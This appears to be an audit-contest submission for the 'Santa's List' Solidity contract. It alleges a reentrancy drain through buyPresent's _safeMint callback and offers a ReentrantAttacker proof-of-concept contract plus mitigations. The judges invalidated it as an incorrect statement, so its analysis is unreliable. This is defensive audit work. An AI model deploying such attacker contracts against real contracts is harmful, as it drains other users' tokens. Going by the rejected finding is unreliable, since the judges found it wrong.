Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

ERC721 **`_safeMint` callback lets `buyPresent` re-enter until the victim runs out of token balance

Root + Impact

Description

  • buyPresent debits SantaToken then reaches OpenZeppelin ERC721’s _safeMint, which invokes IERC721Receiver.onERC721Received on contract recipients before returning to buyPresent.

  • msg.sender modeled as an attacker contract re-calls list.buyPresent(victim) from onERC721Received. Each nested invocation burns 1e18 from victim while balance remains and mints another NFT to the attacker, turning one outer buyPresent into many burns and mints inside one transaction.

// file: src/SantasList.sol
// @> External call into attacker-controlled code BEFORE buyPresent completes
function _mintAndIncrement() private {
_safeMint(msg.sender, s_tokenCounter++);
}

Risk

Likelihood:

  • Executes whenever victim holds ≥ 2e18 (or N × 1e18) SantaToken and the msg.sender contract implements onERC721Received.

Impact:

  • Amplified drain (multiple 1e18 burns) and NFT mint spam atop Finding 2’s wrong-accounting design.

Proof of Concept

contract ReentrantAttacker {
SantasList public list;
address public victim;
uint256 public hits;
constructor(SantasList list_, address victim_) {
list = list_;
victim = victim_;
}
function attack(uint256 iterations) external {
hits = iterations;
list.buyPresent(victim);
}
function onERC721Received(address, address, uint256, bytes calldata)
external
returns (bytes4)
{
if (hits > 1) {
hits--;
list.buyPresent(victim);
}
return this.onERC721Received.selector;
}
}

Recommended Mitigation

+ bool private locked;
+
+ modifier nonReentrant() {
+ require(!locked);
+ locked = true;
+ _;
+ locked = false;
+ }
+
function buyPresent(address presentReceiver) external {
+ // non-reentrancy guards state transitions that touch ERC721 receivers
- _safeMint(msg.sender, s_tokenCounter++);
+ _mint(msg.sender, s_tokenCounter++); // if EOAs-only is acceptable policy

(Pick OZ ReentrancyGuard, check-effects-interactions reordering paired with _mint, or disallow contract recipients.)

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!